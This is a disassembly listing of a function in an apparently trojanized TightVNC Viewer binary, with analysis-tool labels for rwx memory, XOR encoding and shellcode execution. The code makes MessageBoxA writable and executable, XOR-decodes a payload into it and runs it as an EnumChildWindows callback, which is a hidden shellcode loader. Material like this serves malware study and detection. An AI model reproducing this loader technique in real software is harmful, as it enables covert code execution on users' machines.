Function at 0x414440
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4986ef
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1a48
call fcn.00472d60
mov eax, dword [0x4cc06c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4d01d4]
test ecx, ecx
je 0x414486
mov eax, dword [ecx]
push 1
call dword [eax]
push 8
call fcn.004721ec
mov esi, eax
add esp, 4
mov dword [ebp - 0x19c8], esi
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov dword [esi], vtable.ViewerSettingsManager.0
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [ebp - 0x18fc], 0
mov dword [ebp - 0x18f8], 0
mov dword [ebp - 0x18f4], 0
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 2
push eax
push 1
mov ecx, eax
call fcn.00421670
mov eax, dword [ebp - 0x18f8]
mov ecx, dword [ebp - 0x18fc]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4b0eac
push ecx
call fcn.00473630
push str.SoftwareTightVNCViewer
lea eax, [ebp - 0x1900]
mov byte [ebp - 4], 3
push 0x4b3b94
push eax
call fcn.0043a500
mov ecx, dword [esi + 4]
add esp, 0x18
mov edi, dword [ebp - 0x18fc]
test ecx, ecx
je 0x414536
mov eax, dword [ecx]
push 1
call dword [eax]
push 0x1c
call fcn.004721ec
mov dword [ebp - 0x1904], eax
push ecx
push edi
push reloc.WS2_32.dll_accept
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0044ef70
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18fc]
mov dword [esi + 4], eax
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
test ecx, ecx
je 0x4145a5
mov eax, dword [ebp - 0x18f4]
sub eax, ecx
sar eax, 1
lea edx, [eax + eax]
mov eax, ecx
cmp edx, 0x1000
jb 0x41459b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414bac
push edx
push ecx
call fcn.00471d21
add esp, 8
push ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a58]
mov dword [0x4d01d4], esi
call fcn.00421c00
push esi
lea ecx, [ebp - 0x1a58]
mov dword [ebp - 4], 5
call fcn.00421ff0
lea eax, [ebp - 0x1960]
mov word [ebp - 0x198c], 0x701
push eax
mov byte [ebp - 0x198a], 0
mov dword [ebp - 0x1988], 0xffffffff
mov dword [ebp - 0x1984], 6
mov dword [ebp - 0x1980], 0x100
mov dword [ebp - 0x1978], 1
mov dword [ebp - 0x1974], 1
mov dword [ebp - 0x1970], 0x1000100
mov byte [ebp - 0x196c], 0
mov dword [ebp - 0x1968], 1
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x19c4]
mov byte [ebp - 4], 6
call fcn.00403570
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1948]
mov byte [ebp - 0x18ed], 0
call fcn.0044e000
mov byte [ebp - 4], 8
lea eax, [ebp - 0x19c4]
mov dword [ebp - 0x1928], eax
lea eax, [ebp - 0x198c]
mov dword [ebp - 0x1924], eax
lea eax, [ebp - 0x1a58]
mov dword [ebp - 0x1920], eax
lea eax, [ebp - 0x18ed]
mov dword [ebp - 0x191c], eax
mov dword [ebp - 0x1918], 0
mov dword [ebp - 0x1914], 0
call fcn.0041b660
mov dword [ebp - 0x1918], eax
mov byte [ebp - 4], 9
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov eax, dword [0x4d0324]
lea ecx, [ebp - 0x190c]
test eax, eax
cmovne ecx, eax
mov dword [0x4d0324], ecx
mov byte [ebp - 4], 0xa
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x190c], 0x4b6cb0
mov dword [ebp - 0x1908], eax
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1a58]
call fcn.00422360
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x1948]
mov byte [ebp - 4], 0xe
call fcn.00418fa0
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x18fc]
push dword [ebp - 0x1a24]
call fcn.004315b0
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 0x12
push 0x4b1b10
push eax
call fcn.00431880
push 0x18d6
lea eax, [ebp - 0x18ec]
push 0x4b1b20
push eax
call fcn.00473630
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x1910]
add esp, 0x14
mov dword [ebp - 0x1910], 0
push eax
push 0x40
push 0xf831
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x414912
lea ecx, [ebp - 0x18fc]
call fcn.00431700
mov byte [ebp - 4], 0x13
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x4d0324], 0
mov byte [ebp - 4], 0x14
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1918]
mov esi, dword [ebp - 0x1918]
push dword [esi + 4]
call fcn.00414cb0
mov eax, dword [ebp - 0x1918]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax + 8], esi
push dword [ebp - 0x1918]
mov dword [ebp - 0x1914], 0
call fcn.00471d21
add esp, 8
lea ecx, [ebp - 0x1948]
call fcn.0044e450
jmp 0x4148ce
lea ecx, [ebp - 0x19c4]
call fcn.00414bc0
lea eax, [ebp - 0x1960]
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [ebp - 0x1a58]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.00421eb0
xor eax, eax
jmp 0x414b8e
mov bl, byte [ebp - 0x18ec]
lea esi, [ebp - 0x18ec]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x18d5
nop word [eax + eax]
nop
nop
nop
nop
nop
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x414930
push edx
push edi
push edx
call dword [sym.imp.USER32.dll_EnumChildWindows]
sub esp, 8
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x328]
push dword [ebp + 8]
call fcn.00417620
mov byte [ebp - 4], 0x17
cmp byte [ebp - 0x18ed], 0
jne 0x4149b3
cmp byte [ebp - 0x19a8], 0
jne 0x4149b3
push 0x38
call fcn.004721ec
add esp, 4
mov dword [ebp - 0x1904], eax
lea ecx, [ebp - 0x19c4]
mov byte [ebp - 4], 0x18
push ecx
mov ecx, eax
call fcn.00403640
lea ecx, [ebp - 0x198c]
mov byte [ebp - 4], 0x17
push ecx
push eax
lea ecx, [ebp - 0x328]
call fcn.00417f50
lea ecx, [ebp - 0x328]
call fcn.00417bb0
mov dword [ebp - 4], 0x12
mov edi, dword [ebp - 0x18f4]
test edi, edi
je 0x414a4e
mov eax, dword [edi + 0x1c]
lea ecx, [edi + 0x1c]
push eax
push dword [eax]
lea eax, [ebp - 0x1904]
push eax
call fcn.00431bc0
push 0x20
push dword [edi + 0x1c]
call fcn.00471d21
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea eax, [edi + 4]
add esp, 8
mov dword [edi], vtable.LocalMutex.0
push eax
call ebx
push 0x58
push edi
mov dword [edi], vtable.Lockable.0
call fcn.00471d21
add esp, 8
jmp 0x414a54
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov byte [ebp - 4], 0x1a
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x4d0324], 0
mov byte [ebp - 4], 0x1b
mov ecx, 0x4cd614
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1918]
mov esi, dword [ebp - 0x1918]
push dword [esi + 4]
call fcn.00414cb0
mov eax, dword [ebp - 0x1918]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax + 8], esi
push dword [ebp - 0x1918]
mov dword [ebp - 0x1914], 0
call fcn.00471d21
add esp, 8
lea ecx, [ebp - 0x1948]
call fcn.0044e450
lea ecx, [ebp - 0x19a4]
call fcn.0043a0a0
mov eax, dword [ebp - 0x19c0]
mov dword [ebp - method.HostPath.virtual_0], vtable.HostPath.0
test eax, eax
je 0x414b13
push eax
call fcn.00471fec
add esp, 4
mov dword [ebp - 0x19c0], 0
mov eax, dword [ebp - 0x19bc]
test eax, eax
je 0x414b30
push eax
call fcn.00471fec
add esp, 4
mov dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0x19b4]
test eax, eax
je 0x414b4d
push eax
call fcn.00471fec
add esp, 4
mov dword [ebp - 0x19b4], 0
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x19b8], 0
push eax
mov dword [ebp - 0x19b0], 0
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call ebx
lea ecx, [ebp - 0x1a58]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.00421eb0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00471d10
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047da11
int3